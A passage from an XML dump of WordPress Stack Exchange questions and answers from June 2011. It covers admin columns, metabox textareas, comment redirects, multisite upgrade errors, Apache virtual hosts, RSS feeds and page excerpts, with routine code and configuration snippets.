OwnerUserId="5278" LastEditorUserId="5278" LastEditorDisplayName="" LastEditDate="2011-06-07T19:31:51.830" LastActivityDate="2011-06-07T19:31:51.830" Title="Using archive-{post_type}.php for posts per page &amp; category calls" Tags="&lt;custom-post-types&gt;&lt;archive&gt;" CommentCount="1" />
  <row Id="19437" PostTypeId="2" ParentId="19435" CreationDate="2011-06-07T17:39:34.617" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;current_user_can&lt;/a&gt;. With that you can filter your code by roles, and then do whatever you want to customize the interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick and dirty, with CSS. Put this in your functions.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_admin_styles() {&#xA;    /* Customers */&#xA;    if(current_user_can('customer')){&#xA;        echo '&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            .column-posts{display:none!important;}  &#xA;        &amp;lt;/style&amp;gt;';&#xA;    }&#xA;}&#xA;add_action('admin_head', 'add_custom_admin_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-07T17:49:39.373" LastActivityDate="2011-06-07T17:49:39.373" CommentCount="5" />
  <row Id="19439" PostTypeId="1" AcceptedAnswerId="19440" CreationDate="2011-06-07T18:12:27.550" Score="-1" ViewCount="115" Body="&lt;p&gt;Here's the code for a custom metabox. Very simply, how would I resize the textarea box? I'd like to add an expression such as cols=&quot;50&quot; rows=&quot;5&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Echo out the field&#xA;    echo '&amp;lt;p&amp;gt;Enter the location:&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;div class=&quot;customEditor&quot;&amp;gt;&amp;lt;input type=&quot;textarea&quot; name=&quot;_location&quot; value=&quot;' . $location  . '&quot; class=&quot;widefat&quot; /&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt;How Should People Dress?&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;input type=&quot;textarea&quot; name=&quot;_dresscode&quot; value=&quot;' . $dresscode  . '&quot; class=&quot;widefat&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Source: &lt;a href=&quot;http://wptheming.com/2010/08/custom-metabox-for-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://wptheming.com/2010/08/custom-metabox-for-post-type/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-06-07T19:36:33.623" Title="Sizing textarea field in custom metabox" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;input&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19440" PostTypeId="2" ParentId="19439" CreationDate="2011-06-07T18:29:48.823" Score="1" ViewCount="" Body="&lt;p&gt;You could try styling it with CSS by adding an ID or a class to the textarea and inserting styles into the wp_admin head. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, a quick way would be to do somehting like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;textarea name=&quot;_dresscode&quot; class=&quot;widefat&quot; style=&quot;width:400px!important;height:80px!important;&quot; &amp;gt;' . $dresscode  . '&amp;lt;/textarea&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not, have you tried simply :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;textarea name=&quot;_dresscode&quot; class=&quot;widefat&quot; cols=&quot;50&quot; rows=&quot;5&quot; /&amp;gt;' . $dresscode  . '&amp;lt;/textarea&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-07T19:36:33.623" LastActivityDate="2011-06-07T19:36:33.623" />
  <row Id="19442" PostTypeId="1" AcceptedAnswerId="19456" CreationDate="2011-06-07T19:05:48.357" Score="0" ViewCount="71" Body="&lt;p&gt;After commenting on one of my posts, WordPress redirects me to another random post. Only after, when checking the previous post, I can see that my comment was posted. Still, why is WordPress sending me to a random post after commenting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;a href=&quot;http://pastie.org/private/2p2omgjsjhfguyfdlpft9q&quot; rel=&quot;nofollow&quot; title=&quot;comments.php&quot;&gt;comments.php&lt;/a&gt; file and here's my &lt;a href=&quot;http://joaoramos.org&quot; rel=&quot;nofollow&quot; title=&quot;My website&quot;&gt;website&lt;/a&gt; (please don't publish it anywhere else, as I'm launching it tomorrow). Feel free to test the comments, though. I'll clear then before I launch it. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm using no plugins and the bug doesn't work on other themes. Also, I'm using pretty &lt;code&gt;/%postname%/&lt;/code&gt; permalinks.&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2011-06-08T17:00:04.407" Title="Why is WordPress redirecting users to random posts after commenting?" Tags="&lt;posts&gt;&lt;comments&gt;&lt;redirect&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="19443" PostTypeId="2" ParentId="19439" CreationDate="2011-06-07T19:18:27.927" Score="0" ViewCount="" Body="&lt;p&gt;The correct code for a textarea is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea cols=20 rows=20 name=mytext&amp;gt;Content&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-07T19:18:27.927" CommentCount="3" />
  <row Id="19445" PostTypeId="2" ParentId="13611" CreationDate="2011-06-07T19:48:48.637" Score="0" ViewCount="" Body="&lt;p&gt;To use the built-in tag functionality with a custom post type, you need to add this argument when registering your post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'taxonomies' =&amp;gt; array( 'post_tag' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to register a post type events, you'd do (eg):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'events', array(&#xA;    'show_ui' =&amp;gt; true,&#xA;    'taxonomies' =&amp;gt; array( 'post_tag' )&#xA;   // etc ...&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5998" LastActivityDate="2011-06-07T19:48:48.637" CommentCount="1" />
  <row Id="19446" PostTypeId="1" CreationDate="2011-06-07T19:59:13.007" Score="1" ViewCount="165" Body="&lt;p&gt;We have just updated to WordPress 3.1.3 by following the WP manual install tutorial. Note: This is a &lt;strong&gt;Network-enabled (multi-site)&lt;/strong&gt; install. After uploading the new files, we now get the following error for ALL pages in the blog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error 101 (net::ERR_CONNECTION_RESET): Unknown error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Here are the examples of our logs when the error occurs, and some of the WP-important files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error_log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Tue Jun 07 15:40:01 2011] [error] [client 10.10.0.3] PHP Warning:  require(/var/www/html/root/wordpress/wp-includes/load.php) [&amp;lt;a href='function.require'&amp;gt;function.require&amp;lt;/a&amp;gt;]: failed to open stream: No such file or directory in /var/www/html/root/wordpress/wp-settings.php on line 19&#xA;[Tue Jun 07 15:40:01 2011] [error] [client 10.10.0.3] PHP Fatal error:  require() [&amp;lt;a href='function.require'&amp;gt;function.require&amp;lt;/a&amp;gt;]: Failed opening required '/var/www/html/root/wordpress/wp-includes/load.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/root/wordpress/wp-settings.php on line 19&#xA;[Tue Jun 07 15:40:01 2011] [error] [client 10.10.0.4] PHP Warning:  require(/var/www/html/root/wordpress/wp-includes/load.php) [&amp;lt;a href='function.require'&amp;gt;function.require&amp;lt;/a&amp;gt;]: failed to open stream: No such file or directory in /var/www/html/root/wordpress/wp-settings.php on line 19&#xA;[Tue Jun 07 15:40:01 2011] [error] [client 10.10.0.4] PHP Fatal error:  require() [&amp;lt;a href='function.require'&amp;gt;function.require&amp;lt;/a&amp;gt;]: Failed opening required '/var/www/html/root/wordpress/wp-includes/load.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/root/wordpress/wp-settings.php on line 19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://www.mysite.com');&#xA;define('WP_SITEURL','http://www.mysite.com');&#xA;&#xA;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', false );&#xA;$base = '/';&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htaccces file (in wordpress root directory)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]&#xA;RewriteRule . index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5997" LastActivityDate="2011-08-08T06:20:56.547" Title="WordPress upgrade now receiving Error 101 (net::ERR_CONNECTION_RESET): Unknown error" Tags="&lt;php&gt;&lt;multisite&gt;&lt;htaccess&gt;&lt;network&gt;&lt;apache&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19447" PostTypeId="1" CreationDate="2011-06-07T20:00:40.963" Score="0" ViewCount="47" Body="&lt;p&gt;I'm using WP 3.1.2 as provided by Awardspace, a free hosting service. I haven't made any configuration regarding RSS but it seems to work on Google Reader. However, pictures and flash elements won't appear. Is this normal? Should I get a plugin then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance - Victor.&lt;/p&gt;&#xA;" OwnerUserId="5993" LastActivityDate="2011-06-08T19:49:18.273" Title="Is a no RSS plugin setup supposed to work?" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="19448" PostTypeId="2" ParentId="19447" CreationDate="2011-06-07T20:16:28.987" Score="1" ViewCount="" Body="&lt;p&gt;When you say pictures, you mean post thumbnails ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, then you can add them to your RSS feeds like this, add in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rss_post_thumbnail( $content ) {&#xA;    global $post;&#xA;    if( has_post_thumbnail( $post-&amp;gt;ID ) ) {&#xA;        $content = '&amp;lt;p&amp;gt;' . get_the_post_thumbnail( $post-&amp;gt;ID ) . '&amp;lt;/p&amp;gt;' . get_the_content();&#xA;    }&#xA;    return $content;&#xA;}&#xA;add_filter('the_excerpt_rss', 'rss_post_thumbnail');&#xA;add_filter('the_content_feed', 'rss_post_thumbnail');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-08T19:49:18.273" LastActivityDate="2011-06-08T19:49:18.273" CommentCount="4" />
  <row Id="19449" PostTypeId="1" AcceptedAnswerId="19450" CreationDate="2011-06-07T20:26:40.700" Score="0" ViewCount="98" Body="&lt;p&gt;I am using &lt;code&gt;archive-{post_type}.php&lt;/code&gt; for queries of a custom post type.  I want the system to use &lt;code&gt;archive.php&lt;/code&gt; for category searches but it is defaulting to &lt;code&gt;category.php&lt;/code&gt; which I am using for category searches (different categories) for regular posts.  Does anyone have an idea of what could be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-06-07T20:33:56.280" Title="archive-{post_type}.php is defaulting to category.php vs. archive.php on category searches" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="19450" PostTypeId="2" ParentId="19449" CreationDate="2011-06-07T20:33:56.280" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure what you mean by &lt;em&gt;category searches&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;is_category()&lt;/code&gt; branch of &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt; &lt;code&gt;category.php&lt;/code&gt; precedes &lt;code&gt;archive.php&lt;/code&gt;, it is intended and wanted behavior. If you want to change template behavior for specific category you will need to override that logic, likely in &lt;code&gt;template_redirect&lt;/code&gt; hook or around that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-07T20:33:56.280" CommentCount="2" />
  <row Id="19451" PostTypeId="2" ParentId="19442" CreationDate="2011-06-07T20:40:48.397" Score="1" ViewCount="" Body="&lt;p&gt;The redirect after comment being processed is performed by following lines of code in &lt;code&gt;wp-cmments-post.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id;&#xA;$location = apply_filters('comment_post_redirect', $location, $comment);&#xA;&#xA;wp_redirect($location);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there are three ways this can go wrong:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID for comment that was just created is incorrect;&lt;/li&gt;&#xA;&lt;li&gt;submitted form data contains custom redirect location;&lt;/li&gt;&#xA;&lt;li&gt;location is filtered and changed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From information you provided it isn't really possible to guess which one of these might be at fault.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-07T20:40:48.397" />
  <row Id="19452" PostTypeId="2" ParentId="18918" CreationDate="2011-06-07T20:41:06.380" Score="0" ViewCount="" Body="&lt;p&gt;I ran into this on my server as well, and I can guarantee you that John's answer is correct.  To prove it, here is the &lt;code&gt;vhost&lt;/code&gt; section from my own Apache configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName prosepainting.com&#xA;    ServerAlias www.prosepainting.com *.prosepainting.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName mindsharestrategy.com&#xA;    ServerAlias www.mindsharestrategy.com *.mindsharestrategy.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName groundedchristianity.com&#xA;    ServerAlias www.groundedchristianity.com *.groundedchristianity.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName prose.eamann.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName business.eamann.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName git.eamann.com&#xA;    DocumentRoot /home/git/repositories&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName eamann.com&#xA;    ServerAlias www.eamann.com *.eamann.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    DocumentRoot /var/www/html&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have it set up this way because I will selectively turn each mapped domain on and off for testing.  But all of the sites in my WordPress installation are subdomains of &lt;code&gt;eamann.com&lt;/code&gt; and get mapped to the right location by the &lt;code&gt;*.eamann.com&lt;/code&gt; declaration.  To set up the mapped domains, I needed to add them as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things simpler, this configuration would do the &lt;em&gt;exact same thing&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName git.eamann.com&#xA;    DocumentRoot /home/git/repositories&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName eamann.com&#xA;    ServerAlias www.prosepainting.com *.prosepainting.com www.mindsharestrategy.com *.mindsharestrategy.com www.groundedchristianity.com *.groundedchristianity.com www.eamann.com *.eamann.com&#xA;    DocumentRoot /var/www/html/eamann&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    DocumentRoot /var/www/html&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;git.eamann.com&lt;/code&gt; domain is directed to one location (my Git repository folder) but WordPress will still see all other subdomains and my mapped domains will point to WordPress as well.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T20:41:06.380" />
  <row Id="19453" PostTypeId="2" ParentId="19446" CreationDate="2011-06-07T20:51:34.067" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;failed to open stream: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1) Did you reupload wp-admin and wp-includes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If it's a VPS, reboot.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-07T20:51:34.067" CommentCount="1" />
  <row Id="19454" PostTypeId="2" ParentId="19446" CreationDate="2011-06-07T20:52:50.277" Score="0" ViewCount="" Body="&lt;p&gt;Are you sure &lt;code&gt;/wp-includes/load.php&lt;/code&gt; made it to the server? If you were installing manually, there's a chance it got lost during the transfer.  Happens to me occasionally using FileZilla.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error messages are basically telling you that the server can't find the file, so make sure the file is there.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T20:52:50.277" CommentCount="1" />
  <row Id="19455" PostTypeId="2" ParentId="19427" CreationDate="2011-06-07T20:57:09.690" Score="1" ViewCount="" Body="&lt;p&gt;Assuming you only want to switch it from excerpts to full content, then you could filter the rss_use_excerpt option based on whatever settings you prefer. Something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('option_rss_use_excerpt','random_function_name_here');&#xA;function random_function_name_here($value) {&#xA;  if ( whatever_check_you_want_here() ) {&#xA;    return false; // false = show full content&#xA;  } else {&#xA;    return true; // true = show excerpts only&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with a solution like this is that frequently the person getting the RSS feed isn't the actual authenticated user. Google Reader fetches feeds without being logged in, for example. And it only fetches the feed once for all the users it's showing the feed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really, you need an entirely separate feed for members, with an entirely separate URL. This can be easily done as well, using the add_feed function. How and when you then display that separate URL is up to you and your own code.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-07T20:57:09.690" />
  <row Id="19456" PostTypeId="2" ParentId="19442" CreationDate="2011-06-07T21:09:32.703" Score="2" ViewCount="" Body="&lt;p&gt;You're doing something that is affecting the value of the main $post variable in an incorrect manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WordPress template consists of one main Loop. That Loop, on a single post page, shows the one and only Post (or Page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the comments form runs, it expects the last post from the Loop to be the one you're commenting on. However, if you mess with the main Loop after the fact (like by doing another query_posts() or altering the global $post variable in any way), then you'll muck that bit up. This is what is happening on your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the source of &lt;a href=&quot;http://joaoramos.org/sala-de-ser/&quot; rel=&quot;nofollow&quot;&gt;http://joaoramos.org/sala-de-ser/&lt;/a&gt; you'll see that that post's ID number is 635, but the comments form thinks it's 630. I'm surprised the comments go to the right pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, what is happening here is that your sidebar is doing-it-wrong™. If you'll notice, the last entry in your sidebar is for &lt;a href=&quot;http://joaoramos.org/via/&quot; rel=&quot;nofollow&quot;&gt;http://joaoramos.org/via/&lt;/a&gt; which, BTW, is post number 630.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make secondary Loops, you should create new WP_Query objects instead of modifying the main one &lt;em&gt;and&lt;/em&gt; your loop shouldn't modify any global variables, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No quick fix to this one. Rewrite your sidebar to not muck up the main Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Didn't know about this one. Just add a call to wp_reset_postdata() after the sidebar loops run to fix up the global $post information back to what it should be.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-06-08T17:00:04.407" LastActivityDate="2011-06-08T17:00:04.407" CommentCount="4" />
  <row Id="19457" PostTypeId="1" AcceptedAnswerId="19458" CreationDate="2011-06-07T21:23:38.940" Score="1" ViewCount="86" Body="&lt;p&gt;I guess the title says it all. Short of creating a page with a custom template that links all the posts with a given tag (this is NOT a scalable solution, particularly if you want to let a customer do this), how would you add a menu item that takes you to a tag archive?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-08T18:16:56.883" Title="What is the best way to create a menu item that links to all posts with a certain tag?" Tags="&lt;tags&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="19458" PostTypeId="2" ParentId="19457" CreationDate="2011-06-07T21:42:34.127" Score="2" ViewCount="" Body="&lt;p&gt;When setting up custom menu click &lt;code&gt;Screen Options&lt;/code&gt; (top right, near &lt;code&gt;Help&lt;/code&gt;) and check &lt;code&gt;Post Tags&lt;/code&gt; there. You will get metabox that will allow to add links to tag archives as menu item.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-08T18:16:56.883" LastActivityDate="2011-06-08T18:16:56.883" CommentCount="1" />
  <row Id="19459" PostTypeId="2" ParentId="19435" CreationDate="2011-06-07T22:01:47.640" Score="1" ViewCount="" Body="&lt;h3&gt;Manage Columns&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It's pretty straight forward using the &lt;code&gt;manage_{post-type-name}_columns&lt;/code&gt; filter: Just switch per &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$capability&lt;/code&gt;&lt;/a&gt; and unset what you don't need in the &lt;code&gt;$post_columns&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19435_manage_columns( $posts_columns )&#xA;{&#xA;    // First role: add a column - take a look at the second function&#xA;    if ( current_user_can( $capability_admin ) )&#xA;    {&#xA;        $posts_columns['some_column_name'] = _x( 'Whatever', 'column name' );&#xA;    }&#xA;    // second role: remove a column&#xA;    elseif ( current_user_can( $capability_other_role ) )&#xA;    {&#xA;        unset( $posts_columns['comments'] );&#xA;    }&#xA;    // default&#xA;    else&#xA;    {&#xA;        // do stuff for all other roles&#xA;    }&#xA;&#xA;    return $posts_columns;&#xA;}&#xA;add_filter( 'manage_{post-type-name}_columns', 'wpse19435_manage_columns' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add a column&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19435_manage_single_column( $column_name, $id ) &#xA;{&#xA;    switch( $column_name ) &#xA;    {&#xA;        case 'some_column_name' :&#xA;            // do stuff&#xA;            break;&#xA;&#xA;        default :&#xA;            // do stuff&#xA;            break;&#xA;    }&#xA;&#xA;}&#xA;add_action('manage_{post-type-name}_custom_column', 'wpse19435_manage_single_column', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-07T22:01:47.640" CommentCount="3" />
  <row Id="19460" PostTypeId="2" ParentId="15" CreationDate="2011-06-07T22:21:10.940" Score="2" ViewCount="" Body="&lt;p&gt;A couple of notes regarding OpenID plugin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13382/is-there-a-security-risk-giving-someone-temporary-access-to-my-blogs-code&quot;&gt;changing the plugin's version number&lt;/a&gt; so it never upgrades to the broken 3.3.3.&lt;/li&gt;&#xA;&lt;li&gt;Three things I did now that helped me fix a broken plugin: Revert to 3.3.2, change my &lt;a href=&quot;http://wordpress.org/support/topic/trouble-with-openid-while-hosting-own-site?replies=3&quot; rel=&quot;nofollow&quot;&gt;Reading Settings&lt;/a&gt; and making sure XRDS-simple is activated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-06-07T22:21:10.940" />
  <row Id="19461" PostTypeId="1" AcceptedAnswerId="19559" CreationDate="2011-06-07T22:31:25.293" Score="0" ViewCount="136" Body="&lt;p&gt;In the functions.php, I have the following code added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_post_type_support( 'page', 'excerpt' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows pages to have excerpts. The reason I want an excerpt is because I want to call only pages with excerpts to be one of 3 modules on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front page, in my home.php file, these 3 modules will show the titles and excerpts of the pages in which I have added an excerpt. At anytime, the editor should be allowed to change the placement or page so that any existing page could theoretically become a module on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have an About, New Patients and Services page, all three of which I have added text to the excerpt field (I will leave all other excerpt fields blank on pages which don't need to appear on the front page). On home.php, in the order I just listed, I want the title and excerpt of each page to show up as three columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I intend to style it: &lt;a href=&quot;http://i.stack.imgur.com/jOPb0.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/jOPb0.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible these 3 modules will either need an order change or replaced by another page, which is why I'm looking for dynamic modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created two custom fields, called &lt;code&gt;home_widget&lt;/code&gt; and &lt;code&gt;order&lt;/code&gt;. &lt;code&gt;home_widget&lt;/code&gt; is equal to either &lt;code&gt;true&lt;/code&gt;, whereas &lt;code&gt;order&lt;/code&gt; is equal to the order they should appear on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is wrong, but I'm looking for similar logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $pageExcerpt = get_the_excerpt(); &#xA;  if (is_page() &amp;amp;&amp;amp; $pageExcerpt !== '') {&#xA;    the_excerpt();&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, if a page exists AND it has an excerpt, then call the_excerpt() but do it in the order I define by custom field entry. This allows for dynamic insertion as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I write this code to work as I stated?&lt;/p&gt;&#xA;" OwnerUserId="6000" LastEditorUserId="6000" LastEditorDisplayName="" LastEditDate="2011-06-09T02:26:19.260" LastActivityDate="2011-06-09T02:42:27.413" Title="I want Page titles and excerpts to show up on home.php in certain order" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;page&gt;&lt;homepage&gt;" AnswerCount="3" />
